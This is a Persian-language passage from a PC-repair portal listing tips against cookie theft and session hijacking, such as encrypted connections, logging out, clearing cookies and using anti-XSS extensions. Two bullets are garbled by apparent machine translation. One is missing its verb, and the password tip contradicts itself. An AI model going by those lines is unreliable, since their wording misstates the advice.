  • سپس، با استفاده از ابزارهای بالا، یک جایگزین برای به دست آوردن حقوق صاحب حساب انجام می دهد.
  • محافظت از کوکی ها در برابر هک شدن
  • از یک اتصال رمزگذاری شده (با استفاده از پروتکل ها و روش های امنیتی مناسب) استفاده کنید.
  • به پیوندها، تصاویر یا پیشنهادات وسوسه انگیز برای آشنایی با "نرم افزار رایگان جدید" پاسخ ندهید. مخصوصاً از غریبه ها.
  • فقط از منابع وب قابل اعتماد استفاده کنید.
  • جلسه مجاز را با کلیک بر روی دکمه "خروج" (نه فقط بستن برگه!) پایان دهید. به خصوص اگر نه از یک رایانه شخصی، بلکه مثلاً از رایانه شخصی در یک کافی نت وارد حساب خود شده باشید.
  • از ویژگی «ذخیره رمز عبور» مرورگر استفاده نکنید. داده های ثبت شده ذخیره شده خطر سرقت را به میزان قابل توجهی افزایش می دهد. تنبل نباشید، در ابتدای هر جلسه چند دقیقه وقت خود را با وارد کردن رمز عبور و لاگین خود تلف نکنید.
  • پس از گشت و گذار در وب - بازدید از شبکه های اجتماعی، انجمن ها، چت ها، وب سایت ها - کوکی های ذخیره شده را حذف کنید و کش مرورگر را پاک کنید.
  • مرورگرها و نرم افزارهای آنتی ویروس را به طور مرتب به روز کنید.
  • از افزونه های مرورگر استفاده کنید که در برابر حملات XSS محافظت می کنند (به عنوان مثال، NoScript برای FF و Google Chrome).
  • به صورت دوره ای در حساب ها.
  • و مهمتر از همه، هنگام استراحت یا کار در اینترنت، هوشیاری و توجه خود را از دست ندهید!

    © 2024 ermake.ru -- درباره تعمیر رایانه شخصی - پورتال اطلاعاتی